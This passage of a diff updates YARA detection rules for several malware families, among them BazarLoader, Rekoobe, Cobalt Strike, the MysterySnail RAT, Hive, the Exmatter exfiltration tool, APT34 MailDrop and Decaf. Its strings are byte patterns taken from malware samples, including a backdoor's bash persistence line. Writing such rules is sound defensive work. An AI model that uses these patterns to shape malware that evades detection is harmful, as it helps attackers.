"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_BazarLoader_Oct_2021_1.yara#L1-L17" + id = "a5b200f1-cbb7-5106-8127-74abd3cde061" + date = "2021-11-10" + modified = "2021-11-11" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-10/MAL_ELF_Rekoobe_Nov_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "afbe02ef9e69ac5105aaae28240d6863c9c4578c0e8fd7c86c38d975cf8acdc6" + logic_hash = "bde3d1a3d2d2e9efd4b7c68f69dce40d5e0f01d41885481730d8a7fa67cbab7e" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "0ba7554e7d120ce355c6995c6af95542499e4ec2f6012ed16b32a85175761a94" - hash2 = "2b29c80a4829d3dc816b99606aa5aeead3533d24137f79b5c9a8407957e97b10" + hash1 = "bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e" + hash2 = "e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94" tlp = "white" adversary = "-" strings: - $s1 = { 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c7 40 5c 03 00 00 00 b8 60 00 00 00 48 6b c0 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 01 00 00 00 48 8b 44 24 20 c7 40 08 02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 c7 40 10 00 00 00 00 48 8b 44 24 20 c7 40 14 00 00 00 00 48 8b 44 24 20 c7 40 18 00 00 00 00 b8 60 00 00 00 48 6b c0 01 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 00 00 00 b8 60 00 00 00 48 6b c0 02 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 23 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 } - $s2 = { 48 8b 44 24 50 48 8b 00 c7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24 50 8b 92 18 01 00 00 89 54 08 2c 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 4c 24 50 e8 80 f8 ff ff 48 8b 4c 24 50 e8 c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 0b 48 8b 44 24 50 83 78 7c 00 7f 1e 48 8b 44 24 50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 0f af 41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 c7 40 18 00 00 00 00 48 8b 4c 24 50 e8 0c fc ff ff 48 8b 4c 24 38 88 41 1c 48 8b 44 24 38 48 c7 40 20 00 00 00 00 48 8b 44 24 38 48 c7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 c0 74 0d 48 8b 44 } - $s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4c 24 58 8b 40 10 0f af 41 0c 48 8b 4c 24 58 48 63 49 04 48 8b 94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 0c 44 8b c0 48 8b 44 24 38 48 8b 54 c8 70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c ff ff ff 48 8b 44 24 38 8b 40 18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b 40 14 89 44 24 44 eb 0a 8b 44 24 44 ff c0 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00 00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d e2 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 58 8b 4c 24 44 0f af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb 0a 8b 44 24 48 ff c0 89 44 24 48 48 8b } + $s1 = { 00 ?? 19 00 00 00 48 85 c0 [2-6] bf 0a 00 00 00 e8 [2] 01 00 ?? 24 00 00 00 48 85 c0 [2-6] c6 00 48 c6 40 05 49 c6 40 01 49 c6 40 06 4c c6 40 02 53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 [2] 00 00 48 8d 54 24 0c } + $s2 = "GETCONF_DIR" ascii + $s3 = "/var/run/nscd/so/dev/ptmx" ascii + $s4 = { 45 78 65 63 53 74 61 72 74 3d 2f 62 69 6e 2f 62 61 73 68 20 2d 63 20 2f 75 73 72 2f 62 69 6e 2f 62 69 6f 73 65 74 64 } + $s5 = { 48 89 df e8 [3] ff 31 f6 48 89 df e8 [3] ff 48 8d 58 01 48 } + $s6 = { 2f 76 61 72 2f 74 6d 70 00 2f 76 61 72 2f 70 72 6f 66 69 6c 65 } condition: - uint16( 0 ) == 0x5A4D and filesize > 200KB and all of ( $s* ) + uint32( 0 ) == 0x464C457F and filesize > 100KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Cobaltstrike_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Mysterysnail_RAT_Oct_2021_1 : FILE { meta: - description = "Detect Cobalt Strike implant" + description = "Detect MysterySnaial RAT implant" author = "Arkbird_SOLG" - id = "89d46993-cc1b-536b-b1ab-a0e967d0d397" - date = "2021-10-30" - modified = "2021-10-30" - reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_CobaltStrike_Oct_2021_1.yara#L1-L19" + id = "2fa5015a-144f-52f6-8a5f-28fce10861e3" + date = "2021-10-13" + modified = "2021-10-14" + reference = "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-14/MAL_MysterySnail_RAT_Oct_2021_1.yara#L1-L25" license_url = "N/A" - logic_hash = "4f1a2306b8279be67829d0d515063caae6a9d7a07078a43c2cbe62f675bcb450" - score = 75 + logic_hash = "bcf072fae02b479084b8d47b4cd676216f72aecfa4ebcf8226b6997839929b57" + score = 50 quality = 75 tags = "FILE" - hash1 = "f520f97e3aa065efc4b7633735530a7ea341f3b332122921cb9257bf55147fb7" - hash2 = "7370c09d07b4695aa11e299a9c17007e9267e1578ce2753259c02a8cf27b18b6" - hash3 = "bfbc1c27a73c33e375eeea164dc876c23bca1fbc0051bb48d3ed3e50df6fa0e8" - tlp = "white" - adversary = "-" + hash1 = "e84be291efadd53a8bb965bfb589590ffe870da9187e6752cc7a9f028053ff5d" + hash2 = "b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e" + hash3 = "73f520223a2e01c036a4b620c7188e733c113a429e25c5c3de7fbbc1c3d16ccc" + level = "experimental" + tlp = "White" + adversary = "MysterySnail" strings: - $s1 = { 48 83 ec 10 4c 89 14 24 4c 89 5c 24 08 4d 33 db 4c 8d 54 24 18 4c 2b d0 4d 0f 42 d3 65 4c 8b 1c 25 10 00 00 00 4d 3b d3 f2 73 17 66 41 81 e2 00 f0 4d 8d 9b 00 f0 ff ff 41 c6 03 00 4d 3b d3 f2 75 ef 4c 8b 14 24 4c 8b 5c 24 08 48 83 c4 10 f2 c3 } - $s2 = { 89 ?? 24 ?? 8b ?? 24 0c 89 ?? 24 ?? 8b ?? 24 ?? c1 ?? 0d 89 ?? 24 0c 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 } - $s3 = { b8 10 00 00 00 48 89 45 ?? e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 8b 55 f8 89 11 4c 8b 45 ?? 4c 8b 4d f0 4d 89 08 4c 8b 55 ?? 4c 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d e0 48 89 3e c7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b 00 4d 8b 32 48 8b 0e 48 83 ec 20 4c 89 f2 41 89 d9 ff d0 48 83 c4 20 ?? 45 } - $s4 = { 48 83 ec 48 44 89 4c 24 44 4c 89 44 24 38 48 89 54 24 30 48 89 4c 24 28 c7 44 24 24 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 44 8b 4c 24 44 4c 8b 44 24 38 48 8b 54 24 30 48 8b 4c 24 28 ff d0 90 48 83 c4 } + $s1 = { 57 48 83 ec 20 4c 8b c2 33 f6 0f b6 d1 41 b1 01 8b c2 c1 e8 04 41 84 c1 75 53 4d 85 c0 74 47 41 0f b7 08 8d 41 bf 66 83 f8 19 76 0a 66 83 e9 61 66 83 f9 19 77 08 66 41 83 78 02 3a 74 03 44 8a ce 45 84 c9 49 8d 40 04 49 8b c8 48 0f 45 c8 66 39 31 74 19 66 83 39 5c 74 06 66 83 39 2f 75 06 66 39 71 02 74 07 bb 00 80 00 00 eb 05 bb 40 40 00 00 66 c1 e2 07 b8 80 00 00 00 66 f7 d2 66 23 d0 b8 00 01 00 00 66 0b d0 66 0b da 4d 85 c0 74 65 ba 2e 00 00 00 49 8b c8 e8 64 4b 01 00 48 8b f8 48 85 c0 74 50 48 8d 15 a9 0d 09 00 48 8b c8 e8 5d dd 00 00 85 c0 74 39 48 8d 15 a6 0d 09 00 48 8b cf e8 4a dd 00 00 85 c0 74 26 48 8d 15 a3 0d 09 00 48 8b cf e8 37 dd 00 00 85 c0 74 13 48 8d 15 a0 0d 09 00 48 8b cf e8 24 dd 00 00 85 c0 75 04 66 83 cb 40 48 8b 74 24 38 0f b7 c3 66 c1 e8 03 66 83 e0 38 66 0b d8 0f b7 c3 66 c1 e8 06 66 83 e0 07 66 0b c3 48 8b 5c 24 30 } + $s2 = { 4c 8d 0d 6e 96 09 00 48 89 44 24 20 44 8b c7 48 8d 15 a7 62 0d 00 48 8b ce e8 47 17 fb ff 85 c0 0f 8e 83 00 00 00 4c 8d 0d 48 96 09 00 44 8b c7 48 8d 15 36 59 0d 00 48 8b ce e8 26 17 fb ff 85 c0 7e 66 49 8b 46 10 8b 08 81 f9 0a 04 00 00 74 1b 81 f9 3f 04 00 00 74 13 81 f9 0b 04 00 00 44 8b c3 41 0f } + $s3 = { 25 2a 73 70 75 62 3a 0a } + $s4 = { 48 81 ec b0 02 00 00 48 8b 05 7a e9 7b 00 48 33 c4 48 89 84 24 a0 02 00 00 48 8b ea 48 8d 44 24 38 48 8d 15 c0 a1 79 00 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 c7 c1 01 00 00 80 ff 15 3d 94 71 00 85 c0 75 53 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 84 24 d0 01 00 00 c7 44 24 34 01 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 e6 a1 79 00 c7 44 24 30 c7 00 00 00 ff 15 00 94 71 00 85 c0 75 0e 8b 84 24 d0 01 00 00 89 45 68 85 c0 75 07 33 c0 e9 eb 00 00 00 83 f8 01 75 f4 33 d2 48 8d 4c 24 40 41 b8 90 01 00 00 e8 f0 82 6f 00 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 44 24 40 c7 44 24 30 c8 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 90 a1 79 00 ff 15 9a 93 71 00 85 c0 75 a8 33 f6 8b fe 8b de 66 83 7c 5c 40 3a 74 15 48 83 fb 64 74 94 ff c7 48 ff c3 48 83 fb 64 7c e7 33 c0 eb 77 48 63 c7 48 8d 4c 24 42 4c 89 b4 24 d0 02 00 00 4c 8d 34 00 49 03 ce e8 2f ad 6f 00 89 45 64 49 81 } + $s5 = { 48 8d 4c 24 60 ff 97 18 04 00 00 33 f6 c7 45 90 01 00 00 00 0f 57 c0 48 89 74 24 68 33 c9 66 0f 7f 44 24 70 48 89 75 80 48 89 75 88 c7 45 94 01 00 00 00 48 c7 45 9c 01 00 00 00 48 89 75 a8 e8 32 97 6f 00 8d 4e 01 48 89 45 b0 e8 26 97 6f 00 8d 4e 02 48 89 45 b8 e8 1a 97 6f 00 48 89 45 c0 45 33 c9 48 8d 45 d0 45 33 c0 48 89 44 24 48 48 8b d3 48 8d 44 24 60 33 c9 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 89 74 24 28 c7 44 24 20 01 00 00 00 ff 97 90 03 00 00 85 c0 74 0a 48 8b 4d d8 ff 15 da 8f 71 00 48 8b 4d d0 ff 15 d0 8f 71 00 b9 10 27 00 00 ff 15 b5 8f 71 00 0f 10 05 96 9c 79 00 48 8d 4d 08 33 d2 f2 0f 10 0d 98 9c 79 00 41 b8 b8 07 00 00 0f 29 45 f0 f2 0f 11 4d 00 e8 84 7d 6f 00 4c 8d 05 65 9c 79 00 48 8d 55 f0 48 8d 4c 24 58 e8 c3 98 6f 00 85 c0 0f 85 af 00 00 00 48 8b 4c 24 58 44 8d 40 02 33 d2 e8 db aa 6f 00 48 8b 4c 24 58 e8 71 94 6f 00 48 8b 4c 24 58 45 33 c0 33 d2 48 63 d8 e8 bf aa 6f 00 8d 4b 01 48 63 c9 e8 d4 67 6f 00 4c 8b 4c 24 58 4c 8b c3 ba 01 00 00 00 48 8b c8 48 8b f0 e8 58 f5 6f 00 48 8b 4c 24 58 48 8b d8 e8 47 99 6f 00 b9 64 00 00 00 ff 15 08 8f 71 00 48 83 bf f0 03 00 00 00 75 11 b9 42 6e aa cf e8 8c e7 ff ff 48 89 87 f0 03 00 00 48 8d 4d f0 ff 97 f0 03 00 00 44 8b cb 89 5c 24 50 4c 8b c6 48 8d 54 24 50 49 8b ce e8 44 d7 5c 00 48 8b ce 85 } condition: - uint16( 0 ) == 0x5A4D and filesize > 20KB and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 500KB and all of ( $s* ) } -rule ARKBIRD_SOLG_RAN_ELF_Hive_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_EXF_Exmatter_Nov_2021_1 : FILE { meta: - description = "Detect ELF version of Hive ransomware" + description = "Detect packed Exmatter with Confuser" author = "Arkbird_SOLG" - id = "434cfe85-3209-5990-9c68-47ce4fafd5b8" - date = "2021-10-29" - modified = "2021-10-30" - reference = "https://twitter.com/ESETresearch/status/1454100591261667329" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/RAN_ELF_Hive_Oct_2021_1.yara#L1-L19" + id = "ddae7776-3202-50e6-b8af-0e5d15373386" + date = "2021-11-01" + modified = "2021-11-01" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Exmatter/EXF_Exmatter_Nov_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "47ccf3b825521986070dba92194d5937289c0335b922537ea3242c4afb2be237" - score = 60 - quality = 35 + logic_hash = "67aaac3db488a9e28897047a7498b7a447ec63cdb6da82cb3d4217c7d615f176" + score = 50 + quality = 75 tags = "FILE" - hash1 = "6a0449a0b92dc1b17da219492487de824e86a25284f21e6e3af056fe3f4c4ec0" - hash2 = "bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3" + hash1 = "b6bc126526e27c98a94aab16989864161db1b3a75f18bd5c72bacbdfccad7bd7" + hash2 = "8eded48c166f50be5ac33be4b010b09f911ffc155a3ab76821e4febd369d17ef" + hash3 = "325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1" + level = "Experimental" tlp = "white" - adversary = "-" - level = "experimental" + adversary = "RaaS" strings: - $s1 = { 49 3b 66 10 76 ?? 48 83 ec ?? 48 89 6c 24 ?? 48 8d 6c 24 ?? 48 8b [3] 48 } - $s2 = { 48 89 f8 48 89 f3 48 83 ec 27 48 83 e4 f0 48 89 44 24 10 48 89 5c 24 18 48 8d 3d 41 [2] 00 48 8d 9c 24 68 00 ff ff 48 89 5f 10 48 89 5f 18 48 89 1f 48 89 67 08 b8 00 00 00 00 0f a2 89 c6 83 f8 00 74 33 81 fb 47 65 6e 75 75 1e 81 fa 69 6e 65 49 75 16 81 f9 6e 74 65 6c 75 0e c6 05 [3] 00 01 c6 05 [3] 00 01 b8 01 00 00 00 0f a2 89 05 [3] 00 48 8b 05 } - $s3 = { 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc } - $s4 = { 00 00 48 8b ac 24 68 02 00 00 48 81 c4 70 02 00 00 c3 ?? 80 ?? 0e [6] 48 8b [2] 48 } + $s1 = { 45 38 42 44 32 35 45 33 46 35 33 34 39 39 41 43 31 39 42 44 42 34 31 45 37 36 45 38 36 38 39 37 38 39 31 31 42 43 35 41 44 46 37 36 34 33 31 38 33 45 34 38 36 33 38 32 42 44 33 42 42 44 30 30 00 35 41 41 34 30 37 35 37 33 42 34 43 36 45 43 43 41 45 35 36 44 30 46 35 43 34 33 35 34 36 32 33 39 38 43 30 41 46 42 35 33 46 36 44 36 32 33 31 44 38 39 34 44 34 44 31 41 37 46 44 36 45 30 30 00 42 33 39 46 43 34 39 41 36 31 35 36 45 37 31 35 45 38 42 39 37 41 35 30 46 44 34 35 46 45 34 36 38 37 30 37 38 44 42 44 31 45 45 43 46 46 44 39 46 38 35 31 34 30 42 35 33 31 36 45 39 32 31 30 00 44 33 30 39 45 32 43 32 30 31 43 37 35 43 43 30 38 43 35 33 36 42 41 34 30 32 31 45 41 35 37 43 45 42 34 44 30 34 34 39 32 36 30 31 36 46 46 39 39 46 45 44 45 36 31 35 34 36 31 30 41 32 31 30 00 36 43 37 35 38 36 33 43 32 46 39 38 44 37 46 41 45 33 36 45 37 44 46 43 45 38 46 31 39 45 43 39 35 41 46 30 30 43 43 42 33 44 43 39 39 39 31 38 46 42 38 43 30 42 35 38 39 42 30 42 34 35 31 30 } + $s2 = { 33 44 33 32 31 41 45 42 34 33 39 35 36 30 34 38 46 35 43 37 35 41 38 42 38 36 36 35 32 34 33 34 44 31 33 31 30 31 31 32 45 37 44 36 42 37 38 46 42 37 35 44 39 33 35 36 31 44 31 31 30 39 38 31 00 34 39 44 38 32 36 38 33 30 42 35 44 39 32 30 34 34 38 46 37 34 42 42 42 45 44 42 33 36 31 46 31 37 43 39 44 44 34 36 31 45 30 44 43 33 44 45 44 31 31 34 45 36 45 31 33 45 30 31 37 33 39 38 31 00 31 45 42 30 38 30 36 38 33 30 39 37 41 32 37 46 42 37 34 33 46 36 32 44 30 38 33 38 44 34 42 41 36 34 33 35 46 44 43 33 38 38 32 41 36 41 36 37 45 46 42 43 32 32 34 45 37 31 42 44 42 43 38 31 00 46 39 45 39 31 44 44 39 44 32 36 32 38 43 43 32 39 32 42 41 43 32 36 35 39 41 35 35 34 34 42 38 42 46 42 30 41 44 31 46 38 31 30 30 43 37 35 45 38 32 44 44 33 42 32 43 45 44 30 35 43 37 39 31 00 45 44 44 31 45 32 34 31 37 36 33 46 34 33 33 35 30 38 37 42 39 38 41 44 30 37 35 38 44 36 39 33 31 39 32 42 37 37 45 44 37 32 41 39 36 43 38 42 33 35 41 45 31 39 34 41 45 38 45 39 31 41 39 31 00 38 43 46 31 34 42 43 33 42 46 39 44 36 31 30 30 43 41 38 41 } + $s3 = "SSH_MSG_NEWKEYS" ascii + $s4 = { 35 45 46 32 31 35 39 31 38 33 32 30 41 44 38 41 46 41 41 30 32 35 33 35 35 34 36 46 34 34 33 43 38 44 30 39 46 30 41 44 35 31 33 37 45 35 32 30 33 34 32 38 38 43 37 36 39 41 43 36 42 41 44 46 00 44 36 32 45 45 38 34 39 37 41 45 34 39 35 41 33 31 31 34 35 41 37 37 41 35 43 39 44 35 35 37 30 34 43 30 38 38 33 42 30 31 35 46 45 31 41 45 39 46 44 46 46 45 32 30 38 46 31 33 46 41 45 44 46 00 31 35 32 30 33 33 46 38 33 46 37 46 41 36 36 34 35 31 39 33 42 33 32 32 43 43 42 31 36 37 32 46 30 38 39 35 36 42 36 38 43 33 38 44 31 33 32 46 32 32 37 38 46 43 46 30 46 41 30 34 44 46 45 46 00 33 41 33 36 41 46 34 41 46 30 41 31 46 45 35 37 39 35 44 42 39 39 46 41 38 44 33 39 34 46 41 32 44 38 39 30 41 32 32 35 32 38 30 41 38 41 31 35 39 41 43 37 39 46 31 45 34 38 45 45 31 38 46 46 00 44 43 37 42 45 38 33 42 33 45 46 46 38 31 45 38 43 39 45 30 36 46 37 44 37 43 31 46 34 42 44 37 33 34 46 32 30 32 30 41 34 32 34 32 39 45 32 32 41 32 36 31 42 30 45 45 45 31 36 44 31 39 46 46 } + $s5 = { 39 38 41 43 30 38 30 44 38 38 37 45 31 34 43 43 39 32 32 44 34 35 37 43 33 42 31 30 35 35 37 31 45 33 36 41 37 35 43 43 39 31 31 42 33 35 46 36 30 43 32 46 35 30 36 44 44 44 45 43 35 43 41 46 00 31 33 46 33 37 31 33 43 30 38 42 33 30 43 45 34 37 36 35 37 33 45 43 31 38 32 39 30 31 32 35 30 45 39 36 42 34 37 37 35 33 31 39 46 34 36 41 38 41 30 30 41 34 46 31 45 42 38 41 43 35 32 42 46 00 43 39 38 39 33 42 41 33 46 43 31 46 41 39 41 37 43 38 37 33 42 32 37 38 37 41 41 41 44 38 38 39 45 33 38 46 30 43 33 39 36 39 45 37 41 32 37 42 30 44 33 37 45 30 41 } + $s6 = "SSH_MSG_KEX_DH_GEX_INIT" ascii condition: - uint32( 0 ) == 0x464C457F and filesize > 20KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 600KB and 5 of them } -rule ARKBIRD_SOLG_APT_APT_34_Maildrop_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Decaf_Nov_2021_1 : FILE { meta: - description = "Detect MailDrop malware used by APT34" + description = "Detect Decaf ransomware (unpacked UPX)" author = "Arkbird_SOLG" - id = "a17c4e0b-9bbb-594d-8551-5c146e6a601e" - date = "2021-04-03" - modified = "2021-04-09" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-03/APT34/APT_APT_34_MailDrop_Mar_2021_1.yar#L1-L24" + id = "d19b2d31-a6c5-5033-ba43-4e9ccabc37bb" + date = "2021-11-01" + modified = "2021-11-02" + reference = "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Decaf/RAN_Decaf_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "f55192044bf8e190dfdc18aeaac543a5022643ea242e75ff2492939ae6e1814c" + logic_hash = "5cea33d710d252b39bcd8ae227f52d10897b7fe58b1ff5226a1cb8cc094d600c" score = 75 quality = 75 tags = "FILE" - hash1 = "d6b876d72dba94fc0bacbe1cb45aba493e4b71572a7713a1a0ae844609a72504" - hash2 = "ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393" + hash1 = "088b4715bbe986deac972d551b88f178d43b191f5a71fbd4db3fb0810a233500" + hash2 = "5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477" + tlp = "white" + adversary = "-" strings: - $EWSInitCom = { 7e ?? 00 00 04 28 ?? 00 00 06 ?? 4f [0-3] 02 7b ?? 00 00 04 28 ?? 00 00 06 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 02 7b ?? 00 00 04 28 ?? 00 00 06 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 7e ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 06 7e 06 00 00 04 28 ?? 00 00 06 [2-4] 00 00 [3-4] 00 00 [3] 00 00 [3] 00 00 [3] 00 00 } - $EWSCom = { 13 30 ?? 00 ?? 00 00 00 00 00 00 00 02 28 ?? 00 00 ?? 02 03 05 0e 04 0e 05 0e 06 [0-4] 73 ?? 00 00 06 7d ?? 00 00 04 04 [2-6] 00 00 ?? 02 ?? 7d ?? 00 00 04 [0-2] 02 ?? 7d ?? 00 00 04 [2-4] 00 00 [0-18] 04 02 28 ?? 00 00 06 2a } - $EWSDecrypt = { 13 30 03 00 27 00 00 00 ?? 00 00 11 0f 00 20 00 01 00 00 16 28 ?? 00 00 06 28 ?? 00 00 06 0a 0f 00 1f 10 16 28 ?? 00 00 06 0b 02 06 07 28 ?? 00 00 06 2a } - $EWSRandomData = { 1b 30 ?? 00 ?? 00 00 00 ?? 00 00 11 02 19 28 ?? 00 00 0a 0a 16 0b ?? 35 [0-3] 06 16 6a 16 6f ?? 00 00 0a 26 06 6f ?? 00 00 0a d4 8d ?? 00 00 01 0c 7e ?? 00 00 04 08 6f ?? 00 00 0a 06 08 16 06 6f ?? 00 00 0a b7 6f ?? 00 00 0a 07 17 d6 0b 07 1f 32 32 c6 [5-11] 06 6f ?? 00 00 0a dc 2a [0-1] 01 10 00 00 02 00 08 00 } - $s1 = "HMicrosoft Office/15.0 (Windows NT {0}; Microsoft Outlook 15.0.4675; Pro)" fullword ascii - $s2 = "https://{0}/ews/exchange.asmx" fullword wide - $s3 = "Send_Log" fullword ascii - $s4 = "CheckEWSConnection" fullword ascii - $s5 = "Done:D" fullword wide - $s6 = "ExecAllCmds" fullword ascii - $s7 = "ExchangeUri" fullword ascii - $s8 = "get_cmdSubject" fullword ascii + $s1 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8d 54 24 ?? 8b 5c 24 ?? 48 8d 74 24 ?? 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 48 89 5c 24 18 48 89 74 24 20 89 f8 48 89 44 24 28 48 c7 44 24 30 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 38 00 74 ?? 48 8b 54 24 ?? c6 82 e5 00 00 00 00 48 8b 54 24 ?? 31 c0 } + $s2 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 89 0c 24 48 89 44 24 08 44 0f 11 7c 24 10 48 c7 44 24 20 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 28 00 74 0a 48 8b 6c 24 ?? 48 83 c4 ?? c3 e8 [3] 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 } + $s3 = { 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 83 3d [3] 00 00 75 73 48 8b 05 45 [2] 00 48 8d 0d 66 [2] 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 04 01 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 18 48 85 c0 0f 84 6a 01 00 00 48 3d 04 01 00 00 0f 87 5e 01 00 00 48 8d 1d 1a [2] 00 c6 04 03 5c 4c 8d 40 01 4c 89 05 [3] 00 48 8b 44 24 50 48 8b 5c } + $s4 = { 48 89 44 24 40 c7 44 24 3c 00 00 00 00 48 8b 0d [3] 00 48 8d 54 24 3c 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 18 